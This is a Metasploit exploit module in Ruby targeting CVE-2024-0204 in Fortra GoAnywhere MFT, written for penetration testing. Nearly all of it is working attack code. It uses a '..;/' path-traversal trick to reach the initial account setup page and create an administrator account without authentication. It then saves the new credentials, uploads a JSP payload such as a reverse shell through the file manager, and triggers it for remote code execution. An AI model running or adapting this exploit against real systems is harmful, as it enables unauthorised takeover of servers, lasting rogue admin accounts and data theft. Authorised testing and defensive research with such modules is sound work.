##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Fortra GoAnywhere MFT Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in Fortra GoAnywhere MFT that allows an unauthenticated attacker to
create a new administrator account. This can be leveraged to upload a JSP payload and achieve RCE. GoAnywhere
MFT versions 6.x from 6.0.1, and 7.x before 7.4.1 are vulnerable.
},
'License' => MSF_LICENSE,
'Author' => [
'sfewer-r7', # MSF RCE Exploit
'James Horseman', # Original auth bypass PoC/Analysis
'Zach Hanley' # Original auth bypass PoC/Analysis
],
'References' => [
['CVE', '2024-0204'],
['URL', 'https://www.fortra.com/security/advisory/fi-2024-001'], # Vendor Advisory
['URL', 'https://www.horizon3.ai/cve-2024-0204-fortra-goanywhere-mft-authentication-bypass-deep-dive/']
],
'DisclosureDate' => '2024-01-22',
'Platform' => %w[linux win],
'Arch' => [ARCH_JAVA],
'Privileged' => true, # Could be 'NT AUTHORITY\SYSTEM' on Windows, or a non-root user 'gamft' on Linux.
'Targets' => [
[
# Tested on GoAnywhere 7.4.0 with the payload java/jsp_shell_reverse_tcp
'Automatic', {}
],
[
'Linux',
{
'Platform' => 'linux',
'GOANYWHERE_INSTALL_PATH' => '/opt/HelpSystems/GoAnywhere'
}
],
[
'Windows',
{
'Platform' => 'win',
'GOANYWHERE_INSTALL_PATH' => 'C:\\Program Files\\Fortra\\GoAnywhere\\'
},
],
],
'DefaultOptions' => {
'RPORT' => 8001,
'SSL' => true
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
# A new admin account is created, which the exploit can't destroy.
CONFIG_CHANGES,
# The upload may leave payload artifacts if the FileDropper mixins cleanup handlers cannot delete them.
ARTIFACTS_ON_DISK
]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to the web application', '/goanywhere/']),
]
)
end
def check
# We can query an undocumented unauthenticated REST API endpoint and pull the version number.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/rest/gacmd/v1/system')
)
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200
json_data = res.get_json_document
product = json_data.dig('data', 'product')
version = json_data.dig('data', 'version')
return CheckCode::Unknown('No version information in response') if product.nil? || version.nil?
# As per the Fortra advisory, the following version are affected:
# * Fortra GoAnywhere MFT 6.x from 6.0.1
# * Fortra GoAnywhere MFT 7.x before 7.4.1
# This seems to imply version 6.0.1 through to 7.4.0 (inclusive) are vulnerable.
if Rex::Version.new(version).between?(Rex::Version.new('6.0.1'), Rex::Version.new('7.4.0'))
return CheckCode::Appears("#{product} #{version}")
end
Exploit::CheckCode::Safe("#{product} #{version}")
end
def exploit
# CVE-2024-0204 allows an unauthenticated attacker to create a new administrator account on the target system. So
# we generate the username/password pair we want to use.
# Note: We cannot delete the administrator account that we create.
admin_username = Rex::Text.rand_text_alpha_lower(8)
admin_password = Rex::Text.rand_text_alphanumeric(16)
# By using a double dot path segment with a semicolon in it, we can bypass the servers attempts to block access to
# the /wizard/InitialAccountSetup.xhtml endpoint that allows new admin account creation. As we leverage a double
# dot path segment, we need a directory to navigate down from, there are many available on the target so we pick
# a random one that we know works.
path_segments = %w[styles fonts auth help]
path_segment = path_segments.sample
# This is CVE-2024-0204...
initialaccountsetup_endpoint = "/#{path_segment}/..;/wizard/InitialAccountSetup.xhtml"
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, initialaccountsetup_endpoint),
'keep_cookies' => true,
'vars_post' => {
'javax.faces.ViewState' => get_viewstate(initialaccountsetup_endpoint),
'j_id_u:creteAdminGrid:username' => admin_username,
'j_id_u:creteAdminGrid:password' => admin_password,
'j_id_u:creteAdminGrid:password_hinput' => admin_password,
'j_id_u:creteAdminGrid:confirmPassword' => admin_password,
'j_id_u:creteAdminGrid:confirmPassword_hinput' => admin_password,
'j_id_u:creteAdminGrid:submitButton' => '',
'createAdminForm_SUBMIT' => 1
}
)
# The method com.linoma.ga.ui.admin.users.InitialAccountSetupForm.InitialAccountSetupForm.submit will call method
# loginNewAdminUser and update our current session, so we dont need to manually login.
unless res&.code == 302 && res.headers['Location'] == normalize_uri(target_uri.path, 'Dashboard.xhtml')
fail_with(Failure::UnexpectedReply, "Unexpected reply 1 from #{initialaccountsetup_endpoint}")
end
print_status("Created account: #{admin_username}:#{admin_password}. Note: This account will not be deleted by the module.")
store_credentials(admin_username, admin_password)
# Automatic targeting will detect the OS and product installation directory, by querying the About.xhtml page.
if target.name == 'Automatic'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/help/About.xhtml'),
'keep_cookies' => true
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 2 from About.xhtml')
end
# The OS name could be something like "Linux" or "Windows Server 2022". Under the hood, GoAnywhere is using
# the Java system property "os.name".
os_match = res.body.match(%r{<span id="AboutForm:\S+:OSName">(.+)</span>})
unless os_match
fail_with(Failure::UnexpectedReply, 'Did not locate OSName in About.xhtml')
end
# To perform the JSP payload upload, we need to know the product installation path.
install_match = res.body.match(%r{<span id="AboutForm:\S+:goAnywhereHome">(.+)</span>})
unless install_match
fail_with(Failure::UnexpectedReply, 'Did not locate goAnywhereHome in About.xhtml')
end
# Find the Metasploit target (Linux/Windows) via a substring of the OS name we get back from GoAnywhere.
found_target = targets.find do |t|
os_match[1].downcase.include? t.name.downcase
end
unless found_target
fail_with(Failure::NoTarget, "Unable to select an automatic target for '#{os_match[1]}'")
end
# Dup the target we found, as we patch in the GOANYWHERE_INSTALL_PATH below.
detected_target = found_target.dup
detected_target.opts['GOANYWHERE_INSTALL_PATH'] = install_match[1]
print_status("Automatic targeting, detected OS: #{detected_target.name}")
print_status("Automatic targeting, detected install path: #{detected_target['GOANYWHERE_INSTALL_PATH']}")
else
detected_target = target
end
# We are going to upload a JSP payload via the FileManager interface. We first have to get the FileManager, then
# change to the directory we want to upload to, then upload the file.
path_separator = detected_target['Platform'] == 'win' ? '\\' : '/'
# We drop the JSP payload to a location such as: /opt/HelpSystems/GoAnywhere/adminroot/PAYLOAD_NAME.jsp
adminroot_path = detected_target['GOANYWHERE_INSTALL_PATH']
adminroot_path += path_separator unless adminroot_path.end_with? path_separator
adminroot_path += 'adminroot'
adminroot_path += path_separator
viewstate = get_viewstate('/tools/filemanager/FileManager.xhtml')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
'keep_cookies' => true,
'vars_post' => {
'javax.faces.ViewState' => viewstate,
'j_id_4u:j_id_4v:newPath_focus' => '',
'j_id_4u:j_id_4v:newPath_input' => '/',
'j_id_4u:j_id_4v:newPath_editableInput' => adminroot_path,
'j_id_4u:j_id_4v:NewPathButton' => '',
'j_id_4u_SUBMIT' => 1
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 4 from FileManager.xhtml')
end
# We require a regID value form the page to upload a file, so we pull that out here.
vs_input = res.get_html_document.at('input[name="reqId"]')
unless vs_input&.key? 'value'
fail_with(Failure::UnexpectedReply, 'Did not locate reqId in reply 4 from FileManager.xhtml')
end
request_id = vs_input['value']
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
'keep_cookies' => true,
'vars_post' => {
'javax.faces.ViewState' => viewstate,
'javax.faces.partial.ajax' => 'true',
'javax.faces.source' => 'uploadID',
'javax.faces.partial.execute' => 'uploadID',
'javax.faces.partial.render' => '@none',
'uploadID' => 'uploadID',
'uploadID_sessionCheck' => 'true',
'reqId' => request_id,
'whenFileExists_focus' => '',
'whenFileExists_input' => 'rename',
'uploaderType' => 'filemanager',
'j_id_4i_SUBMIT' => 1
}
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 5 from FileManager.xhtml')
end
jsp_filename = Rex::Text.rand_text_alphanumeric(8) + '.jsp'
message = Rex::MIME::Message.new
message.add_part(request_id, nil, nil, 'form-data; name="reqId"')
message.add_part('', nil, nil, 'form-data; name="whenFileExists_focus"')
message.add_part('rename', nil, nil, 'form-data; name="whenFileExists_input"')
message.add_part('filemanager', nil, nil, 'form-data; name="uploaderType"')
message.add_part('1', nil, nil, 'form-data; name="j_id_4i_SUBMIT"')
message.add_part(viewstate, nil, nil, 'form-data; name="javax.faces.ViewState"')
message.add_part('true', nil, nil, 'form-data; name="javax.faces.partial.ajax"')
message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.partial.execute"')
message.add_part('uploadID', nil, nil, 'form-data; name="javax.faces.source"')
message.add_part('1', nil, nil, 'form-data; name="uniqueFileUploadId"')
message.add_part(payload.encoded, 'text/plain', nil, "form-data; name=\"uploadID\"; filename=\"#{jsp_filename}\"")
# We can now upload our payload...
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/tools/filemanager/FileManager.xhtml'),
'keep_cookies' => true,
'ctype' => 'multipart/form-data; boundary=' + message.bound,
'data' => message.to_s
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Unexpected reply 6 from FileManager.xhtml')
end
# Register our payload so it is deleted when the session is created.
jsp_filepath = adminroot_path + jsp_filename
print_status("Dropped payload: #{jsp_filepath}")
# We are using the FileDropper mixin to automatically delete this file after a session has been created.
register_file_for_cleanup(jsp_filepath)
# A copy of the files this user uploads is left here:
# /opt/HelpSystems/GoAnywhere/userdata/documents/ADMIN_USERNAME/PAYLOAD_NAME.jsp
# We register these to be deleted, but they appear to be locked, preventing deleting.
userdoc_path = detected_target['GOANYWHERE_INSTALL_PATH']
userdoc_path += path_separator unless userdoc_path.end_with? path_separator
userdoc_path += 'userdata'
userdoc_path += path_separator
userdoc_path += 'documents'
userdoc_path += path_separator
userdoc_path += admin_username
userdoc_path += path_separator
register_file_for_cleanup(userdoc_path + jsp_filename)
register_dir_for_cleanup(userdoc_path)
# Finally, trigger our payload via a GET request...
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, jsp_filename)
)
# NOTE: it is not possible to delete the user account we created as we cant delete ourself either via the web
# interface or REST API.
end
# Helper method to pull out a viewstate identifier from a requests HTML response.
def get_viewstate(endpoint)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, endpoint),
'keep_cookies' => true
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, "Unexpected reply during get_viewstate via '#{endpoint}'.")
end
vs_input = res.get_html_document.at('input[name="javax.faces.ViewState"]')
unless vs_input&.key? 'value'
fail_with(Failure::UnexpectedReply, "Did not locate ViewState during get_viewstate via '#{endpoint}'.")
end
vs_input['value']
end
def store_credentials(username, password)
service_data = {
address: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'GoAnywhere MFT Admin Interface',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: username,
private_data: password,
private_type: :password
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)
create_credential_login(login_data)
end
end